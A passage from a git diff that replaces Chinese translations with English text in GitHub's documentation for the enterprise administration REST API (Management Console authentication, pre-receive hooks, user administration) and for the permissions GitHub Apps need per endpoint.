端点。 +You need to pass your [Management Console password](/enterprise/admin/articles/accessing-the-management-console/) as an authentication token to every Management Console API endpoint except [`/setup/api/start`](#create-a-github-enterprise-server-license). -使用 `api_key` 参数在每个请求中发送此令牌。 例如： +Use the `api_key` parameter to send this token with each request. For example: ```shell $ curl -L 'https://hostname:admin_port/setup/api?api_key=your-amazing-password' ``` -还可以使用标准 HTTP 身份验证发送此令牌。 例如： +You can also use standard HTTP authentication to send this token. For example: ```shell $ curl -L 'https://api_key:your-amazing-password@hostname:admin_port/setup/api' @@ -190,9 +193,9 @@ $ curl -L 'https://api_key:your-amazing-password@hostname: {% endif %} {% ifversion ghae or ghes %} -## 组织 +## Organizations -组织管理 API 允许您在企业上创建组织。 *它只适用于[经过身份验证的](/rest/overview/resources-in-the-rest-api#authentication)站点管理员。*普通用户尝试访问它时会收到 `404` 响应。 +The Organization Administration API allows you to create organizations on your enterprise. *It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. {% for operation in currentRestOperations %} {% if operation.subcategory == 'orgs' %}{% include rest_operation %}{% endif %} @@ -201,22 +204,25 @@ $ curl -L 'https://api_key:your-amazing-password@hostname: {% endif %} {% ifversion ghes %} -## 组织预接收挂钩 +## Organization pre-receive hooks -组织预接收挂钩 API 允许您查看和修改组织可用的预接收挂钩的实施。 +The Organization Pre-receive Hooks API allows you to view and modify +enforcement of the pre-receive hooks that are available to an organization. -### 对象属性 +### Object attributes -| 名称 | 类型 | 描述 | -| -------------------------------- | ----- | ------------ | -| `name` | `字符串` | 挂钩的名称。 | -| `enforcement` | `字符串` | 此仓库中挂钩的实施状态。 | -| `allow_downstream_configuration` | `布尔值` | 仓库是否可以覆盖实施。 | -| `configuration_url` | `字符串` | 设置实施的端点 URL。 | +| Name | Type | Description | +|----------------------------------|-----------|-----------------------------------------------------------| +| `name` | `string` | The name of the hook. | +| `enforcement` | `string` | The state of enforcement for the hook on this repository. | +| `allow_downstream_configuration` | `boolean` | Whether repositories can override enforcement. | +| `configuration_url` | `string` | URL for the endpoint where enforcement is set. | -*enforcement* 的可能值包括 `enabled`、`disabled` 和 `testing`。 `disabled` 表示预接收挂钩不会运行。 `enabled` 表示它将运行并拒绝会导致非零状态的任何推送。 `testing` 表示脚本将运行，但不会导致任何推送被拒绝。 +Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject +any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. -`configuration_url` 可能是此端点或此挂钩的全局配置的链接。 只有站点管理员才能访问全局配置。 +`configuration_url` may be a link to this endpoint or this hook's global +configuration. Only site admins are able to access the global configuration. {% for operation in currentRestOperations %} {% if operation.subcategory == 'org-pre-receive-hooks' %}{% include rest_operation %}{% endif %} @@ -226,31 +232,31 @@ $ curl -L 'https://api_key:your-amazing-password@hostname: {% ifversion ghes %} -## 预接收环境 +## Pre-receive environments -预接收环境 API 允许您创建、列出、更新和删除预接收挂钩的环境。 *它只适用于[经过身份验证的](/rest/overview/resources-in-the-rest-api#authentication)站点管理员。*普通用户尝试访问它时会收到 `404` 响应。 +The Pre-receive Environments API allows you to create, list, update and delete environments for pre-receive hooks. *It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. -### 对象属性 +### Object attributes -#### 预接收环境 +#### Pre-receive Environment -| 名称 | 类型 | 描述 | -| --------------------- | ----- | ------------------------------------------------------- | -| `name` | `字符串` | UI 中显示的环境名称。 | -| `image_url` | `字符串` | 将要下载并解压缩的 tarball 的 URL。 | -| `default_environment` | `布尔值` | 这是否是 {% data variables.product.product_name %} 附带的默认环境。 | -| `download` | `对象` | 此环境的下载状态。 | -| `hooks_count` | `整数` | 使用此环境的预接收挂钩数量。 | +| Name | Type | Description | +|-----------------------|-----------|----------------------------------------------------------------------------| +| `name` | `string` | The name of the environment as displayed in the UI. | +| `image_url` | `string` | URL to the tarball that will be downloaded and extracted. | +| `default_environment` | `boolean` | Whether this is the default environment that ships with {% data variables.product.product_name %}. | +| `download` | `object` | This environment's download status. | +| `hooks_count` | `integer` | The number of pre-receive hooks that use this environment. | -#### 预接收环境下载 +#### Pre-receive Environment Download -| 名称 | 类型 | 描述 | -| --------------- | ----- | ------------- | -| `state` | `字符串` | 最近下载的状态。 | -| `downloaded_at` | `字符串` | 最近下载开始的时间。 | -| `message` | `字符串` | 在失败时生成任何错误消息。 | +| Name | Type | Description | +|-----------------|----------|---------------------------------------------------------| +| `state` | `string` | The state of the most recent download. | +| `downloaded_at` | `string` | The time when the most recent download started. | +| `message` | `string` | On failure, this will have any error messages produced. | -`state` 的可能值包括 `not_started`、`in_progress`、`success`、`failed`。 +Possible values for `state` are `not_started`, `in_progress`, `success`, `failed`. {% for operation in currentRestOperations %} {% if operation.subcategory == 'pre-receive-environments' %}{% include rest_operation %}{% endif %} @@ -259,24 +265,26 @@ $ curl -L 'https://api_key:your-amazing-password@hostname: {% endif %} {% ifversion ghes %} -## 预接收挂钩 +## Pre-receive hooks -预接收挂钩 API 允许您创建、列出、更新和删除预接收挂钩。 *它只适用于[经过身份验证的](/rest/overview/resources-in-the-rest-api#authentication)站点管理员。*普通用户尝试访问它时会收到 `404` 响应。 +The Pre-receive Hooks API allows you to create, list, update and delete pre-receive hooks. *It is only available to +[authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. -### 对象属性 +### Object attributes -#### 预接收挂钩 +#### Pre-receive Hook -| 名称 | 类型 | 描述 | -| -------------------------------- | ----- | ------------------ | -| `name` | `字符串` | 挂钩的名称。 | -| `script` | `字符串` | 挂钩运行的脚本。 | -| `script_repository` | `对象` | 保存脚本的 GitHub 仓库。 | -| `environment` | `对象` | 执行脚本的预接收环境。 | -| `enforcement` | `字符串` | 此挂钩的实施状态。 | -| `allow_downstream_configuration` | `布尔值` | 是否可以在组织或仓库级别上覆盖实施。 | +| Name | Type | Description | +|----------------------------------|-----------|-----------------------------------------------------------------| +| `name` | `string` | The name of the hook. | +| `script` | `string` | The script that the hook runs. | +| `script_repository` | `object` | The GitHub repository where the script is kept. | +| `environment` | `object` | The pre-receive environment where the script is executed. | +| `enforcement` | `string` | The state of enforcement for this hook. | +| `allow_downstream_configuration` | `boolean` | Whether enforcement can be overridden at the org or repo level. | -*enforcement* 的可能值包括 `enabled`、`disabled` 和 `testing`。 `disabled` 表示预接收挂钩不会运行。 `enabled` 表示它将运行并拒绝会导致非零状态的任何推送。 `testing` 表示脚本将运行，但不会导致任何推送被拒绝。 +Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject +any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. {% for operation in currentRestOperations %} {% if operation.subcategory == 'pre-receive-hooks' %}{% include rest_operation %}{% endif %} @@ -286,21 +294,22 @@ $ curl -L 'https://api_key:your-amazing-password@hostname: {% ifversion ghes %} -## 仓库预接收挂钩 +## Repository pre-receive hooks -仓库预接收挂钩 API 允许您查看和修改仓库可用的预接收挂钩的实施。 +The Repository Pre-receive Hooks API allows you to view and modify +enforcement of the pre-receive hooks that are available to a repository. -### 对象属性 +### Object attributes -| 名称 | 类型 | 描述 | -| ------------------- | ----- | ------------ | -| `name` | `字符串` | 挂钩的名称。 | -| `enforcement` | `字符串` | 此仓库中挂钩的实施状态。 | -| `configuration_url` | `字符串` | 设置实施的端点 URL。 | +| Name | Type | Description | +|---------------------|----------|-----------------------------------------------------------| +| `name` | `string` | The name of the hook. | +| `enforcement` | `string` | The state of enforcement for the hook on this repository. | +| `configuration_url` | `string` | URL for the endpoint where enforcement is set. | -*enforcement* 的可能值包括 `enabled`、`disabled` 和 `testing`。 `disabled` 表示预接收挂钩不会运行。 `enabled` 表示它将运行并拒绝会导致非零状态的任何推送。 `testing` 表示脚本将运行，但不会导致任何推送被拒绝。 +Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. -`configuration_url` 可能是此仓库、其组织所有者或全局配置的链接。 `configuration_url` 端点的访问授权在所有者或站点管理员级别确定。 +`configuration_url` may be a link to this repository, it's organization owner or global configuration. Authorization to access the endpoint at `configuration_url` is determined at the owner or site admin level. {% for operation in currentRestOperations %} {% if operation.subcategory == 'repo-pre-receive-hooks' %}{% include rest_operation %}{% endif %} @@ -309,9 +318,9 @@ $ curl -L 'https://api_key:your-amazing-password@hostname: {% endif %} {% ifversion ghae or ghes %} -## 用户 +## Users -用户管理 API 允许您暂停{% ifversion ghes %}、取消暂停、升级和降级{% endif %}{% ifversion ghae %} 以及取消暂停{% endif %} 企业上的用户。 *它只适用于[经过身份验证的](/rest/overview/resources-in-the-rest-api#authentication)站点管理员。*普通用户尝试访问它时会收到 `403` 响应。 +The User Administration API allows you to suspend{% ifversion ghes %}, unsuspend, promote, and demote{% endif %}{% ifversion ghae %} and unsuspend{% endif %} users on your enterprise. *It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `403` response if they try to access it. {% for operation in currentRestOperations %} {% if operation.subcategory == 'users' %}{% include rest_operation %}{% endif %} diff --git a/translations/zh-CN/content/rest/reference/permissions-required-for-github-apps.md b/translations/zh-CN/content/rest/reference/permissions-required-for-github-apps.md index 684334aebe..a8142804dc 100644 --- a/translations/zh-CN/content/rest/reference/permissions-required-for-github-apps.md +++ b/translations/zh-CN/content/rest/reference/permissions-required-for-github-apps.md @@ -1,6 +1,6 @@ --- -title: GitHub 应用程序所需的权限 -intro: '您可以找到每个 {% data variables.product.prodname_github_app %} 兼容端点所需的权限。' +title: Permissions required for GitHub Apps +intro: 'You can find the required permissions for each {% data variables.product.prodname_github_app %}-compatible endpoint.' redirect_from: - /v3/apps/permissions versions: @@ -11,16 +11,16 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 -shortTitle: GitHub 应用程序权限 +shortTitle: GitHub App permissions --- -### 关于 {% data variables.product.prodname_github_app %} 权限 +### About {% data variables.product.prodname_github_app %} permissions -{% data variables.product.prodname_github_apps %} 是用一组权限创建的。 权限定义了 {% data variables.product.prodname_github_app %} 可以通过 API 访问哪些资源。 更多信息请参阅“[设置 GitHub 的权限](/apps/building-github-apps/setting-permissions-for-github-apps/)”。 +{% data variables.product.prodname_github_apps %} are created with a set of permissions. Permissions define what resources the {% data variables.product.prodname_github_app %} can access via the API. For more information, see "[Setting permissions for GitHub Apps](/apps/building-github-apps/setting-permissions-for-github-apps/)." -### 元数据权限 +### Metadata permissions -GitHub 应用程序默认具有 `Read-only` 元数据权限。 元数据权限允许访问带有各种资源元数据的只读端点集合。 这些端点不会泄露敏感的私有仓库信息。 +GitHub Apps have the `Read-only` metadata permission by default. The metadata permission provides access to a collection of read-only endpoints with metadata for various resources. These endpoints do not leak sensitive private repository information. {% data reusables.apps.metadata-permissions %} @@ -72,17 +72,17 @@ GitHub 应用程序默认具有 `Read-only` 元数据权限。 元数据权限 - [`GET /users/:username/repos`](/rest/reference/repos#list-repositories-for-a-user) - [`GET /users/:username/subscriptions`](/rest/reference/activity#list-repositories-watched-by-a-user) -_协作者_ +_Collaborators_ - [`GET /repos/:owner/:repo/collaborators`](/rest/reference/repos#list-repository-collaborators) - [`GET /repos/:owner/:repo/collaborators/:username`](/rest/reference/repos#check-if-a-user-is-a-repository-collaborator) -_提交注释_ +_Commit comments_ - [`GET /repos/:owner/:repo/comments`](/rest/reference/repos#list-commit-comments-for-a-repository) - [`GET /repos/:owner/:repo/comments/:comment_id`](/rest/reference/repos#get-a-commit-comment) - [`GET /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-a-commit-comment) - [`GET /repos/:owner/:repo/commits/:sha/comments`](/rest/reference/repos#list-commit-comments) -_事件_ +_Events_ - [`GET /events`](/rest/reference/activity#list-public-events) - [`GET /networks/:owner/:repo/events`](/rest/reference/activity#list-public-events-for-a-network-of-repositories) - [`GET /orgs/:org/events`](/rest/reference/activity#list-public-organization-events) @@ -95,16 +95,16 @@ _Git_ - [`GET /gitignore/templates`](/rest/reference/gitignore#get-all-gitignore-templates) - [`GET /gitignore/templates/:key`](/rest/reference/gitignore#get-a-gitignore-template) -_键_ +_Keys_ - [`GET /users/:username/keys`](/rest/reference/users#list-public-keys-for-a-user) -_组织成员_ +_Organization members_ - [`GET /orgs/:org/members`](/rest/reference/orgs#list-organization-members) - [`GET /orgs/:org/members/:username`](/rest/reference/orgs#check-organization-membership-for-a-user) - [`GET /orgs/:org/public_members`](/rest/reference/orgs#list-public-organization-members) - [`GET /orgs/:org/public_members/:username`](/rest/reference/orgs#check-public-organization-membership-for-a-user) -_搜索_ +_Search_ - [`GET /search/code`](/rest/reference/search#search-code) - [`GET /search/commits`](/rest/reference/search#search-commits) - [`GET /search/issues`](/rest/reference/search#search-issues-and-pull-requests) @@ -114,7 +114,7 @@ _搜索_ - [`GET /search/users`](/rest/reference/search#search-users) {% ifversion fpt or ghes or ghec %} -### 有关“操作”的权限 +### Permission on "actions" - [`GET /repos/:owner/:repo/actions/artifacts`](/rest/reference/actions#list-artifacts-for-a-repository) (:read) - [`GET /repos/:owner/:repo/actions/artifacts/:artifact_id`](/rest/reference/actions#get-an-artifact) (:read) @@ -138,7 +138,7 @@ _搜索_ - [`GET /repos/:owner/:repo/actions/workflows/:workflow_id/runs`](/rest/reference/actions#list-workflow-runs) (:read) {% endif %} -### 有关“管理”的权限 +### Permission on "administration" - [`POST /orgs/:org/repos`](/rest/reference/repos#create-an-organization-repository) (:write) - [`PATCH /repos/:owner/:repo`](/rest/reference/repos#update-a-repository) (:write) @@ -147,6 +147,11 @@ _搜索_ - [`GET /repos/:owner/:repo/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-a-repository) (:read) - [`GET /repos/:owner/:repo/actions/runners/:runner_id`](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository) (:read) - [`DELETE /repos/:owner/:repo/actions/runners/:runner_id`](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository) (:write) +- [`GET /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository) (:read) +- [`POST /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-a-repository) (:write) +- [`PUT /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-a-repository) (:write) +- [`DELETE /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-a-repository) (:write) +- [`DELETE /repos/:owner/:repo/actions/runners/:runner_id/labels/:name`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-a-repository) (:write) {% ifversion fpt or ghes -%} - [`POST /repos/:owner/:repo/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-a-repository) (:write) - [`POST /repos/:owner/:repo/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-a-repository) (:write) @@ -184,7 +189,7 @@ _搜索_ - [`PATCH /user/repository_invitations/:invitation_id`](/rest/reference/repos#accept-a-repository-invitation) (:write) - [`DELETE /user/repository_invitations/:invitation_id`](/rest/reference/repos#decline-a-repository-invitation) (:write) -_分支_ +_Branches_ - [`GET /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/repos#get-branch-protection) (:read) - [`PUT /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/repos#update-branch-protection) (:write) - [`DELETE /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/repos#delete-branch-protection) (:write) @@ -218,28 +223,28 @@ _分支_ - [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/repos#rename-a-branch) (:write) {% endif %} -_协作者_ +_Collaborators_ - [`PUT /repos/:owner/:repo/collaborators/:username`](/rest/reference/repos#add-a-repository-collaborator) (:write) - [`DELETE /repos/:owner/:repo/collaborators/:username`](/rest/reference/repos#remove-a-repository-collaborator) (:write) -_邀请_ +_Invitations_ - [`GET /repos/:owner/:repo/invitations`](/rest/reference/repos#list-repository-invitations) (:read) - [`PATCH /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/repos#update-a-repository-invitation) (:write) - [`DELETE /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/repos#delete-a-repository-invitation) (:write) -_键_ +_Keys_ - [`GET /repos/:owner/:repo/keys`](/rest/reference/repos#list-deploy-keys) (:read) - [`POST /repos/:owner/:repo/keys`](/rest/reference/repos#create-a-deploy-key) (:write) - [`GET /repos/:owner/:repo/keys/:key_id`](/rest/reference/repos#get-a-deploy-key) (:read) - [`DELETE /repos/:owner/:repo/keys/:key_id`](/rest/reference/repos#delete-a-deploy-key) (:write) -_团队_ +_Teams_ - [`GET /repos/:owner/:repo/teams`](/rest/reference/repos#list-repository-teams) (:read) - [`PUT /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#add-or-update-team-repository-permissions) (:write) - [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (:write) {% ifversion fpt or ghec %} -_流量_ +_Traffic_ - [`GET /repos/:owner/:repo/traffic/clones`](/rest/reference/repos#get-repository-clones) (:read) - [`GET /repos/:owner/:repo/traffic/popular/paths`](/rest/reference/repos#get-top-referral-paths) (:read) - [`GET /repos/:owner/:repo/traffic/popular/referrers`](/rest/reference/repos#get-top-referral-sources) (:read) @@ -247,7 +252,7 @@ _流量_ {% endif %} {% ifversion fpt or ghec %} -### 有关“阻止”的权限 +### Permission on "blocking" - [`GET /user/blocks`](/rest/reference/users#list-users-blocked-by-the-authenticated-user) (:read) - [`GET /user/blocks/:username`](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user) (:read) @@ -255,7 +260,7 @@ _流量_ - [`DELETE /user/blocks/:username`](/rest/reference/users#unblock-a-user) (:write) {% endif %} -### 有关“检查”的权限 +### Permission on "checks" - [`POST /repos/:owner/:repo/check-runs`](/rest/reference/checks#create-a-check-run) (:write) - [`GET /repos/:owner/:repo/check-runs/:check_run_id`](/rest/reference/checks#get-a-check-run) (:read) @@ -269,7 +274,7 @@ _流量_ - [`GET /repos/:owner/:repo/commits/:sha/check-runs`](/rest/reference/checks#list-check-runs-for-a-git-reference) (:read) - [`GET /repos/:owner/:repo/commits/:sha/check-suites`](/rest/reference/checks#list-check-suites-for-a-git-reference) (:read) -### 有关“内容”的权限 +### Permission on "contents" - [`GET /repos/:owner/:repo/:archive_format/:ref`](/rest/reference/repos#download-a-repository-archive) (:read) {% ifversion fpt -%} @@ -355,7 +360,7 @@ _流量_ - [`PUT /repos/:owner/:repo/pulls/:pull_number/merge`](/rest/reference/pulls#merge-a-pull-request) (:write) - [`GET /repos/:owner/:repo/readme(?:/(.*))?`](/rest/reference/repos#get-a-repository-readme) (:read) -_分支_ +_Branches_ - [`GET /repos/:owner/:repo/branches`](/rest/reference/repos#list-branches) (:read) - [`GET /repos/:owner/:repo/branches/:branch`](/rest/reference/repos#get-a-branch) (:read) - [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/repos#list-apps-with-access-to-the-protected-branch) (:write) @@ -366,7 +371,7 @@ _分支_ - [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/repos#rename-a-branch) (:write) {% endif %} -_提交注释_ +_Commit comments_ - [`PATCH /repos/:owner/:repo/comments/:comment_id`](/rest/reference/repos#update-a-commit-comment) (:write) - [`DELETE /repos/:owner/:repo/comments/:comment_id`](/rest/reference/repos#delete-a-commit-comment) (:write) - [`POST /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-a-commit-comment) (:read) @@ -388,7 +393,7 @@ _Git_ - [`GET /repos/:owner/:repo/git/trees/:sha`](/rest/reference/git#get-a-tree) (:read) {% ifversion fpt or ghec %} -_导入_ +_Import_ - [`GET /repos/:owner/:repo/import`](/rest/reference/migrations#get-an-import-status) (:read) - [`PUT /repos/:owner/:repo/import`](/rest/reference/migrations#start-an-import) (:write) - [`PATCH /repos/:owner/:repo/import`](/rest/reference/migrations#update-an-import) (:write) @@ -399,7 +404,7 @@ _导入_ - [`PATCH /repos/:owner/:repo/import/lfs`](/rest/reference/migrations#update-git-lfs-preference) (:write) {% endif %} -_反应_ +_Reactions_ {% ifversion fpt or ghes or ghae -%} - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction-legacy) (:write) @@ -415,7 +420,7 @@ _反应_ - [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/comments/:comment_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-comment-reaction) (:write) {% endif %} -_版本发布_ +_Releases_ - [`GET /repos/:owner/:repo/releases`](/rest/reference/repos/#list-releases) (:read) - [`POST /repos/:owner/:repo/releases`](/rest/reference/repos/#create-a-release) (:write) - [`GET /repos/:owner/:repo/releases/:release_id`](/rest/reference/repos/#get-a-release) (:read) @@ -428,7 +433,7 @@ _版本发布_ - [`GET /repos/:owner/:repo/releases/latest`](/rest/reference/repos/#get-the-latest-release) (:read) - [`GET /repos/:owner/:repo/releases/tags/:tag`](/rest/reference/repos/#get-a-release-by-tag-name) (:read) -### 有关“部署”的权限 +### Permission on "deployments" - [`GET /repos/:owner/:repo/deployments`](/rest/reference/repos#list-deployments) (:read) - [`POST /repos/:owner/:repo/deployments`](/rest/reference/repos#create-a-deployment) (:write) @@ -441,7 +446,7 @@ _版本发布_ - [`GET /repos/:owner/:repo/deployments/:deployment_id/statuses/:status_id`](/rest/reference/repos#get-a-deployment-status) (:read) {% ifversion fpt or ghes or ghec %} -### 有关“电子邮件”的权限 +### Permission on "emails" {% ifversion fpt -%} - [`PATCH /user/email/visibility`](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user) (:write) @@ -452,7 +457,7 @@ _版本发布_ - [`GET /user/public_emails`](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user) (:read) {% endif %} -### 有关“关注者”的权限 +### Permission on "followers" - [`GET /user/followers`](/rest/reference/users#list-followers-of-a-user) (:read) - [`GET /user/following`](/rest/reference/users#list-the-people-a-user-follows) (:read) @@ -460,7 +465,7 @@ _版本发布_ - [`PUT /user/following/:username`](/rest/reference/users#follow-a-user) (:write) - [`DELETE /user/following/:username`](/rest/reference/users#unfollow-a-user) (:write) -### 有关“gpg 密钥”的权限 +### Permission on "gpg keys" - [`GET /user/gpg_keys`](/rest/reference/users#list-gpg-keys-for-the-authenticated-user) (:read) - [`POST /user/gpg_keys`](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user) (:write) @@ -468,16 +473,16 @@ _版本发布_ - [`DELETE /user/gpg_keys/:gpg_key_id`](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user) (:write) {% ifversion fpt or ghec %} -### “交互限制”的权限 +### Permission on "interaction limits" - [`GET /user/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-your-public-repositories) (:read) - [`PUT /user/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-your-public-repositories) (:write) - [`DELETE /user/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-from-your-public-repositories) (:write) {% endif %} -### 有关“议题”的权限 +### Permission on "issues" -议题和拉取请求密切相关。 更多信息请参阅"[列出分配给经身份验证用户的议题](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)“。 如果您的 GitHub 应用程序拥有处理议题的权限但没有处理拉取请求的权限，则这些端点将仅限于处理议题。 既返回议题又返回拉取请求的端点将被过滤。 允许对议题和拉取请求进行操作的端点将被限制为仅处理议题。 +Issues and pull requests are closely related. For more information, see "[List issues assigned to the authenticated user](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)." If your GitHub App has permissions on issues but not on pull requests, these endpoints will be limited to issues. Endpoints that return both issues and pull requests will be filtered. Endpoints that allow operations on both issues and pull requests will be restricted to issues. - [`GET /repos/:owner/:repo/issues`](/rest/reference/issues#list-repository-issues) (:read) - [`POST /repos/:owner/:repo/issues`](/rest/reference/issues#create-an-issue) (:write) @@ -497,17 +502,17 @@ _版本发布_ - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read) - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write) -_受理人_ +_Assignees_ - [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (:read) - [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (:read) - [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (:write) - [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (:write) -_事件_ +_Events_ - [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (:read) - [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (:read) -_标签_ +_Labels_ - [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (:read) - [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (:write) - [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (:write) @@ -519,7 +524,7 @@ _标签_ - [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (:write) - [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (:write) -_里程碑_ +_Milestones_ - [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (:read) - [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (:write) - [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (:read) @@ -527,7 +532,7 @@ _里程碑_ - [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (:write) - [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (:read) -_反应_ +_Reactions_ - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read) - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write) - [`GET /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#list-reactions-for-an-issue) (:read) @@ -544,15 +549,15 @@ _反应_ - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction) (:write) {% endif %} -### 有关“键”的权限 +### Permission on "keys" -_键_ +_Keys_ - [`GET /user/keys`](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user) (:read) - [`POST /user/keys`](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user) (:write) - [`GET /user/keys/:key_id`](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user) (:read) - [`DELETE /user/keys/:key_id`](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user) (:write) -### 有关“成员”的权限 +### Permission on "members" {% ifversion fpt -%} - [`GET /organizations/:org_id/team/:team_id/team-sync/group-mappings`](/rest/reference/teams#list-idp-groups-for-a-team) (:write) @@ -587,14 +592,14 @@ _键_ {% endif %} {% ifversion fpt or ghec %} -_邀请_ +_Invitations_ - [`GET /orgs/:org/invitations`](/rest/reference/orgs#list-pending-organization-invitations) (:read) - [`POST /orgs/:org/invitations`](/rest/reference/orgs#create-an-organization-invitation) (:write) - [`GET /orgs/:org/invitations/:invitation_id/teams`](/rest/reference/orgs#list-organization-invitation-teams) (:read) - [`GET /teams/:team_id/invitations`](/rest/reference/teams#list-pending-team-invitations) (:read) {% endif %} -_组织成员_ +_Organization members_ - [`DELETE /orgs/:org/members/:username`](/rest/reference/orgs#remove-an-organization-member) (:write) - [`GET /orgs/:org/memberships/:username`](/rest/reference/orgs#get-organization-membership-for-a-user) (:read) - [`PUT /orgs/:org/memberships/:username`](/rest/reference/orgs#set-organization-membership-for-a-user) (:write) @@ -605,13 +610,13 @@ _组织成员_ - [`GET /user/memberships/orgs/:org`](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user) (:read) - [`PATCH /user/memberships/orgs/:org`](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user) (:write) -_团队成员_ +_Team members_ - [`GET /teams/:team_id/members`](/rest/reference/teams#list-team-members) (:read) - [`GET /teams/:team_id/memberships/:username`](/rest/reference/teams#get-team-membership-for-a-user) (:read) - [`PUT /teams/:team_id/memberships/:username`](/rest/reference/teams#add-or-update-team-membership-for-a-user) (:write) - [`DELETE /teams/:team_id/memberships/:username`](/rest/reference/teams#remove-team-membership-for-a-user) (:write) -_团队_ +_Teams_ - [`GET /orgs/:org/teams`](/rest/reference/teams#list-teams) (:read) - [`POST /orgs/:org/teams`](/rest/reference/teams#create-a-team) (:write) - [`GET /orgs/:org/teams/:team_slug`](/rest/reference/teams#get-a-team-by-name) (:read) @@ -629,7 +634,7 @@ _团队_ - [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (:write) - [`GET /teams/:team_id/teams`](/rest/reference/teams#list-child-teams) (:read) -### 